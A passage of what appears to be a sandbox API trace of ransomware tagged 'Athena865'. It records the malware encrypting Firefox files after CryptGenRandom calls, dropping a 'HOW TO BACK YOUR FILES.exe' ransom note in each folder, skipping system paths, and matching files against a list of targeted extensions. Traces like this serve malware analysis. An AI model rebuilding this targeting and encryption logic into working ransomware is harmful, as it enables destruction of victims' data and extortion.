(normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\omni.ja.athena865"), dwFlags=0x1) returned 1 [0095.679] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\omni.ja.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.679] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4458510) returned 1 [0095.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.679] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.680] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.680] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.680] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x440b10, lpName=0x0) returned 0x154 [0095.681] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x40b10) returned 0x2d50000 [0095.696] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0095.800] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0095.818] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.819] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.819] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.819] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0095.822] CloseHandle (hObject=0x154) returned 1 [0095.822] CloseHandle (hObject=0x17c) returned 1 [0095.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.830] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="SEARCH~1")) returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2=".") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="..") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="windows") returned -1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="bootmgr") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="temp") returned -1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="pagefile.sys") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="boot") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="ids.txt") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="ntuser.dat") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="perflogs") returned 1 [0095.830] lstrcmpiW (lpString1="searchplugins", lpString2="MSBuild") returned 1 [0095.830] lstrlenW (lpString="searchplugins") returned 13 [0095.831] lstrcpyW (in: lpString1=0x241e8a6, lpString2="searchplugins" | out: lpString1="searchplugins") returned="searchplugins" [0095.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c308 [0095.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519228 [0095.831] lstrcatW (in: lpString1="searchplugins", lpString2="\\" | out: lpString1="searchplugins\\") returned="searchplugins\\" [0095.831] lstrcatW (in: lpString1="searchplugins\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="searchplugins\\HOW TO BACK YOUR FILES.exe") returned="searchplugins\\HOW TO BACK YOUR FILES.exe" [0095.831] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\how to back your files.exe"), bFailIfExists=1) returned 1 [0095.835] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="SEARCH~1")) returned 0 [0095.835] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0095.835] ReleaseMutex (hMutex=0xec) returned 1 [0095.835] CloseHandle (hObject=0xec) returned 1 [0095.835] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" [0095.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bdc0 | out: hHeap=0x4f0000) returned 1 [0095.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530968 | out: hHeap=0x4f0000) returned 1 [0095.835] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned 47 [0095.835] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F9D14757FAED559BBF1C88E48C84F626") returned 0xec [0095.835] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0095.835] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" [0095.835] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0095.835] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\how to back your files.exe"), bFailIfExists=1) returned 0 [0095.836] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0095.836] GetLastError () returned 0x0 [0095.836] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0095.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0095.836] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0095.837] CloseHandle (hObject=0xf4) returned 1 [0095.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0095.837] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0095.837] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc15a0ea0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc15a0ea0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0095.838] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.838] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.838] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.838] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc15a0ea0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc15a0ea0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.838] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.838] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.838] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.838] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.838] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15a0ea0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc15a0ea0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0095.838] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0095.838] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2=".") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="..") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="windows") returned -1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="bootmgr") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="temp") returned -1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="pagefile.sys") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="boot") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="ids.txt") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="ntuser.dat") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="perflogs") returned 1 [0095.838] lstrcmpiW (lpString1="pref", lpString2="MSBuild") returned 1 [0095.838] lstrlenW (lpString="pref") returned 4 [0095.838] lstrcpyW (in: lpString1=0x241e8a8, lpString2="pref" | out: lpString1="pref") returned="pref" [0095.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530968 [0095.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d408 [0095.838] lstrcatW (in: lpString1="pref", lpString2="\\" | out: lpString1="pref\\") returned="pref\\" [0095.839] lstrcatW (in: lpString1="pref\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="pref\\HOW TO BACK YOUR FILES.exe") returned="pref\\HOW TO BACK YOUR FILES.exe" [0095.839] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\how to back your files.exe"), bFailIfExists=1) returned 1 [0095.841] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 0 [0095.841] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0095.841] ReleaseMutex (hMutex=0xec) returned 1 [0095.841] CloseHandle (hObject=0xec) returned 1 [0095.841] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" [0095.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e430 | out: hHeap=0x4f0000) returned 1 [0095.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530980 | out: hHeap=0x4f0000) returned 1 [0095.841] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned 51 [0095.842] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D9D7031C68EF20C515AE90B3A0C29BEB") returned 0xec [0095.842] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0095.842] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" [0095.842] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0095.842] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\how to back your files.exe"), bFailIfExists=1) returned 0 [0095.842] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0095.842] GetLastError () returned 0x0 [0095.842] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0095.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0095.843] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0095.843] CloseHandle (hObject=0xf4) returned 1 [0095.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0095.843] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0095.843] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc15ed160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc15ed160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0095.844] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.844] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.844] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.844] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc15ed160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc15ed160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.844] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.844] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.844] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.844] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.844] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0xcca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US.aff", cAlternateFileName="")) returned 1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2=".") returned 1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="..") returned 1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="windows") returned -1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="bootmgr") returned 1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="temp") returned -1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="pagefile.sys") returned -1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="boot") returned 1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="ids.txt") returned -1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="ntuser.dat") returned -1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="perflogs") returned -1 [0095.844] lstrcmpiW (lpString1="en-US.aff", lpString2="MSBuild") returned -1 [0095.844] lstrlenW (lpString="en-US.aff") returned 9 [0095.844] lstrcpyW (in: lpString1=0x241e8b0, lpString2="en-US.aff" | out: lpString1="en-US.aff") returned="en-US.aff" [0095.844] lstrlenW (lpString="en-US.aff") returned 9 [0095.844] lstrlenW (lpString="Athena865") returned 9 [0095.845] lstrlenW (lpString=".dll") returned 4 [0095.845] lstrcmpiW (lpString1="en-US.aff", lpString2=".dll") returned 1 [0095.845] lstrlenW (lpString=".lnk") returned 4 [0095.845] lstrcmpiW (lpString1="en-US.aff", lpString2=".lnk") returned 1 [0095.845] lstrlenW (lpString=".ini") returned 4 [0095.845] lstrcmpiW (lpString1="en-US.aff", lpString2=".ini") returned 1 [0095.845] lstrlenW (lpString=".sys") returned 4 [0095.845] lstrcmpiW (lpString1="en-US.aff", lpString2=".sys") returned 1 [0095.845] lstrlenW (lpString="en-US.aff") returned 9 [0095.845] lstrlenW (lpString="bak") returned 3 [0095.845] lstrcmpiW (lpString1="aff", lpString2="bak") returned -1 [0095.845] lstrlenW (lpString="ba_") returned 3 [0095.845] lstrcmpiW (lpString1="aff", lpString2="ba_") returned -1 [0095.845] lstrlenW (lpString="dbb") returned 3 [0095.845] lstrcmpiW (lpString1="aff", lpString2="dbb") returned -1 [0095.845] lstrlenW (lpString="vmdk") returned 4 [0095.845] lstrcmpiW (lpString1=".aff", lpString2="vmdk") returned -1 [0095.845] lstrlenW (lpString="rar") returned 3 [0095.845] lstrcmpiW (lpString1="aff", lpString2="rar") returned -1 [0095.845] lstrlenW (lpString="zip") returned 3 [0095.845] lstrcmpiW (lpString1="aff", lpString2="zip") returned -1 [0095.845] lstrlenW (lpString="tgz") returned 3 [0095.845] lstrcmpiW (lpString1="aff", lpString2="tgz") returned -1 [0095.845] lstrlenW (lpString="vbox") returned 4 [0095.845] lstrcmpiW (lpString1=".aff", lpString2="vbox") returned -1 [0095.845] lstrlenW (lpString="vdi") returned 3 [0095.845] lstrcmpiW (lpString1="aff", lpString2="vdi") returned -1 [0095.845] lstrlenW (lpString="vhd") returned 3 [0095.845] lstrcmpiW (lpString1="aff", lpString2="vhd") returned -1 [0095.845] lstrlenW (lpString="vhdx") returned 4 [0095.845] lstrcmpiW (lpString1=".aff", lpString2="vhdx") returned -1 [0095.845] lstrlenW (lpString="avhd") returned 4 [0095.846] lstrcmpiW (lpString1=".aff", lpString2="avhd") returned -1 [0095.846] lstrlenW (lpString="db") returned 2 [0095.846] lstrcmpiW (lpString1="ff", lpString2="db") returned 1 [0095.846] lstrlenW (lpString="db2") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="db2") returned -1 [0095.846] lstrlenW (lpString="db3") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="db3") returned -1 [0095.846] lstrlenW (lpString="dbf") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="dbf") returned -1 [0095.846] lstrlenW (lpString="mdf") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="mdf") returned -1 [0095.846] lstrlenW (lpString="mdb") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="mdb") returned -1 [0095.846] lstrlenW (lpString="sql") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="sql") returned -1 [0095.846] lstrlenW (lpString="sqlite") returned 6 [0095.846] lstrcmpiW (lpString1="US.aff", lpString2="sqlite") returned 1 [0095.846] lstrlenW (lpString="sqlite3") returned 7 [0095.846] lstrcmpiW (lpString1="-US.aff", lpString2="sqlite3") returned 1 [0095.846] lstrlenW (lpString="sqlitedb") returned 8 [0095.846] lstrcmpiW (lpString1="n-US.aff", lpString2="sqlitedb") returned -1 [0095.846] lstrlenW (lpString="xml") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="xml") returned -1 [0095.846] lstrlenW (lpString="$er") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="$er") returned 1 [0095.846] lstrlenW (lpString="4dd") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="4dd") returned 1 [0095.846] lstrlenW (lpString="4dl") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="4dl") returned 1 [0095.846] lstrlenW (lpString="^^^") returned 3 [0095.846] lstrcmpiW (lpString1="aff", lpString2="^^^") returned 1 [0095.847] lstrlenW (lpString="abs") returned 3 [0095.847] lstrcmpiW (lpString1="aff", lpString2="abs") returned 1 [0095.847] lstrlenW (lpString="abx") returned 3 [0095.847] lstrcmpiW (lpString1="aff", lpString2="abx") returned 1 [0095.847] lstrlenW (lpString="accdb") returned 5 [0095.847] lstrcmpiW (lpString1="S.aff", lpString2="accdb") returned 1 [0095.847] lstrlenW (lpString="accdc") returned 5 [0095.847] lstrcmpiW (lpString1="S.aff", lpString2="accdc") returned 1 [0095.847] lstrlenW (lpString="accde") returned 5 [0095.847] lstrcmpiW (lpString1="S.aff", lpString2="accde") returned 1 [0095.847] lstrlenW (lpString="accdr") returned 5 [0095.847] lstrcmpiW (lpString1="S.aff", lpString2="accdr") returned 1 [0095.847] lstrlenW (lpString="accdt") returned 5 [0095.847] lstrcmpiW (lpString1="S.aff", lpString2="accdt") returned 1 [0095.847] lstrlenW (lpString="accdw") returned 5 [0095.847] lstrcmpiW (lpString1="S.aff", lpString2="accdw") returned 1 [0095.847] lstrlenW (lpString="accft") returned 5 [0095.847] lstrcmpiW (lpString1="S.aff", lpString2="accft") returned 1 [0095.847] lstrlenW (lpString="adb") returned 3 [0095.847] lstrcmpiW (lpString1="aff", lpString2="adb") returned 1 [0095.847] lstrlenW (lpString="adb") returned 3 [0095.847] lstrcmpiW (lpString1="aff", lpString2="adb") returned 1 [0095.847] lstrlenW (lpString="ade") returned 3 [0095.847] lstrcmpiW (lpString1="aff", lpString2="ade") returned 1 [0095.847] lstrlenW (lpString="adf") returned 